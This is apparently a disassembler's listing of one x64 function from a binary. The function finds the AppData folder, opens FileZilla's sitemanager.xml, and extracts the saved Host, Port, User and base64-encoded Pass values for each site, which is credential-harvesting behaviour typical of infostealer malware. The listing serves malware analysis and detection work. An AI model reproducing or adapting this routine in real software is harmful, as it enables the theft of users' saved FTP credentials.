Function at 0x1800acd90
Capabilities:
Get common file path

Disassembly:
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
xor edi, edi
mov qword [rcx + 0x18], 0xf
mov qword [rcx + 0x10], rdi
lea rax, [rbp + 0x190]
mov r15, rdx
mov byte [rcx], dil
mov r14, rcx
mov qword [rbp + 0x20], rdi
lea edx, [rdi + 0x1a]
mov qword [rbp + 0x28], 0xf
xor r9d, r9d
mov byte [rbp + 0x10], dil
xor r8d, r8d
mov qword [rbp], rdi
xor ecx, ecx
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], dil
mov r13d, edi
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], dil
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], dil
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x60], rdi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], dil
inc r8
cmp byte [rax + r8], dil
jne 0x1800ace40
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x50]
call fcn.1800bef90
mov r8d, 1
lea rdx, [0x180113be8]
lea rcx, [rsp + 0x50]
call fcn.1800be770
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1800acece
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acec9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae941
call fcn.1800cb8d0
mov r8d, 0x19
mov qword [rsp + 0x60], rdi
lea rdx, str.FileZilla_sitemanager.xml
mov qword [rsp + 0x68], 0xf
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x50], dil
call fcn.1800be770
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800acf56
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acf51
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae947
call fcn.1800cb8d0
cmp qword [rbp + 0x88], 0x10
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x3d0], rbx
lea rdx, [0x180113c10]
cmovae rcx, qword [rbp + 0x70]
mov qword [rsp + 0x3d8], rsi
mov qword [rsp + 0x3e0], r12
call fcn.1800d77e8
test rax, rax
je 0x1800ae8d5
mov rcx, rax
call fcn.1800d7878
mov rcx, qword [rbp + 0x80]
inc rcx
call fcn.1800cbc94
cmp qword [rbp + 0x88], 0x10
lea r8, [rbp + 0x70]
mov r9, rax
cmovae r8, qword [rbp + 0x70]
sub r9, r8
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8]
mov byte [r9 + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x1800acfd0
lea rdx, [0x180113c10]
mov rcx, rax
call fcn.1800d77e8
mov rcx, rax
mov r12, rax
call fcn.1800da8d0
test eax, eax
jne 0x1800ae820
lea rbx, [0x18012a920]
nop dword [rax]
mov r8, r12
mov edx, 0x800
mov rcx, rbx
call fcn.1800d93f8
test rax, rax
je 0x1800ae810
mov qword [rsp + 0x60], rdi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
inc r8
cmp byte [rbx + r8], 0
jne 0x1800ad043
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1800bef90
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800ad089
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800ad104
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ad0dd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ae94d
mov rcx, rax
call fcn.1800cb8d8
mov rcx, rax
test rax, rax
je 0x1800ae953
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ad0eb
test rcx, rcx
je 0x1800ad0e9
call fcn.1800cb8d8
jmp 0x1800ad0eb
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800cef60
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Host_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800bef90
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.18008c9d0
test eax, eax
jle 0x1800ad3c4
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800ad177
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800ad1f1
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ad1cb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ae94d
mov rcx, rax
call fcn.1800cb8d8
mov rcx, rax
test rax, rax
je 0x1800ae953
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ad1d9
test rcx, rcx
je 0x1800ad1d7
call fcn.1800cb8d8
jmp 0x1800ad1d9
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800cef60
mov qword [rbp - 0x78], rbx
mov r8d, 7
mov qword [rbp - 0x80], rdi
lea rdx, str.__Host_
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
call fcn.1800bef90
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c9d0
test eax, eax
jle 0x1800ad3c4
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._Host_
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800bfce0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800ae935
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800bef90
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1800ad2f2
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ad2ed
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae953
call fcn.1800cb8d0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Host_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x10], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x20], xmm1
cmovae rcx, rsi
call fcn.1800bfce0
cmp rbx, rax
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800bef90
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1800ad3b2
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ad3ad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae953
call fcn.1800cb8d0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm1
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800ad3f3
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800ad46e
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ad447
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ae94d
mov rcx, rax
call fcn.1800cb8d8
mov rcx, rax
test rax, rax
je 0x1800ae953
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ad455
test rcx, rcx
je 0x1800ad453
call fcn.1800cb8d8
jmp 0x1800ad455
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800cef60
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Port_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800bef90
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.18008c9d0
test eax, eax
jle 0x1800ad72e
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800ad4e1
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800ad55b
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ad535
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ae94d
mov rcx, rax
call fcn.1800cb8d8
mov rcx, rax
test rax, rax
je 0x1800ae953
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ad543
test rcx, rcx
je 0x1800ad541
call fcn.1800cb8d8
jmp 0x1800ad543
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800cef60
mov qword [rbp - 0x78], rbx
mov r8d, 7
mov qword [rbp - 0x80], rdi
lea rdx, str.__Port_
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
call fcn.1800bef90
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c9d0
test eax, eax
jle 0x1800ad72e
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._Port_
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800bfce0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800ae935
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800bef90
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1800ad65c
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ad657
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae953
call fcn.1800cb8d0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x30]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Port_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x30], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x40], xmm1
cmovae rcx, rsi
call fcn.1800bfce0
cmp rbx, rax
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800bef90
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1800ad71c
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ad717
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae953
call fcn.1800cb8d0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm1
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800ad75d
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800ad7d8
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ad7b1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ae94d
mov rcx, rax
call fcn.1800cb8d8
mov rcx, rax
test rax, rax
je 0x1800ae953
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ad7bf
test rcx, rcx
je 0x1800ad7bd
call fcn.1800cb8d8
jmp 0x1800ad7bf
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800cef60
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._User_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800bef90
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.18008c9d0
test eax, eax
jle 0x1800ada98
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800ad84b
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800ad8c5
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800ad89f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ae94d
mov rcx, rax
call fcn.1800cb8d8
mov rcx, rax
test rax, rax
je 0x1800ae953
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800ad8ad
test rcx, rcx
je 0x1800ad8ab
call fcn.1800cb8d8
jmp 0x1800ad8ad
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800cef60
mov qword [rbp - 0x78], rbx
mov r8d, 7
mov qword [rbp - 0x80], rdi
lea rdx, str.__User_
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
call fcn.1800bef90
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c9d0
test eax, eax
jle 0x1800ada98
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._User_
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800bfce0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800ae935
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800bef90
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1800ad9c6
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ad9c1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae953
call fcn.1800cb8d0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__User_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp - 0x10], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp], xmm1
cmovae rcx, rsi
call fcn.1800bfce0
cmp rbx, rax
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800bef90
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1800ada86
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ada81
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae953
call fcn.1800cb8d0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm1
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800adac7
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800adb42
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800adb1b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ae94d
mov rcx, rax
call fcn.1800cb8d8
mov rcx, rax
test rax, rax
je 0x1800ae953
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800adb29
test rcx, rcx
je 0x1800adb27
call fcn.1800cb8d8
jmp 0x1800adb29
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800cef60
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rdx, str._Pass_encoding_base64__
xor edi, edi
mov qword [rbp - 0x58], 0xf
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x60], rdi
mov byte [rbp - 0x70], dil
lea r8d, [rdi + 0x18]
call fcn.1800bef90
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.18008c9d0
test eax, eax
jle 0x1800adec0
cmp qword [rsp + 0x68], 0x10
lea rsi, [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmovae rsi, qword [rsp + 0x50]
cmp rdi, 0x10
jae 0x1800adbb1
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x78], 0xf
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800adc2b
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800adc05
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800ae94d
mov rcx, rax
call fcn.1800cb8d8
mov rcx, rax
test rax, rax
je 0x1800ae953
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800adc13
test rcx, rcx
je 0x1800adc11
call fcn.1800cb8d8
jmp 0x1800adc13
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800cef60
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x80], rdi
lea rdx, str.__Pass_
xor edi, edi
mov qword [rbp - 0x38], 0xf
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x40], rdi
mov byte [rbp - 0x50], dil
lea r8d, [rdi + 7]
call fcn.1800bef90
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.18008c9d0
test eax, eax
jle 0x1800adec0
mov rsi, qword [rsp + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
lea r9, str._Pass_encoding_base64__
mov rbx, qword [rsp + 0x60]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 0x18
cmovae rcx, rdi
call fcn.1800bfce0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 0x18]
cmp rbx, rcx
jb 0x1800ae935
sub rbx, rcx
lea rdx, [rsp + 0x50]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800bef90
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1800add28
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800add23
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae953
call fcn.1800cb8d0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Pass_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp - 0x30], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp - 0x20], xmm1
cmovae rcx, rsi
call fcn.1800bfce0
cmp rbx, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800bef90
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1800adde8
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adde3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae953
call fcn.1800cb8d0
movups xmm0, xmmword [rsp + 0x30]
lea rdx, [rbp - 0x30]
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x30]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
call fcn.18008a810
mov rbx, rax
lea rax, [rbp - 0x30]
cmp rax, rbx
je 0x1800ade81
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1800ade4f
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ade4a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae959
call fcn.1800cb8d0
mov qword [rbp - 0x18], 0xf
xor edi, edi
mov qword [rbp - 0x20], rdi
mov byte [rbp - 0x30], dil
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
jmp 0x1800ade83
xor edi, edi
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800adec0
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adebb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ae959
call fcn.1800cb8d0
cmp qword [rbp + 0x20], 0
je 0x1800ae7ff
cmp qword [rbp], 0
je 0x1800ae7ff
cmp qword [rbp - 0x20], 0
je 0x1800ae7ff
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x1800adef1
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x1800adf01
cmp byte [rcx], 0x30
jne 0x1800adf01
mov cl, 1
jmp 0x1800adf03
xor cl, cl
test cl, cl
je 0x1800ae591
mov rdx, qword [r14 + 0x10]
lea rcx, [rbp + 0x50]
inc rdx
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
call fcn.1800c17c0
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x1800adf38
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x50]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x50]
call fcn.1800be770
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x50]
cmovae rdx, qword [rbp + 0x10]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180114278]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800be770
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0x48], 0x10
mov r8, qword [rbp + 0x40]
cmovae rdx, qword [rbp + 0x30]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp - 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800be770
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x110]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
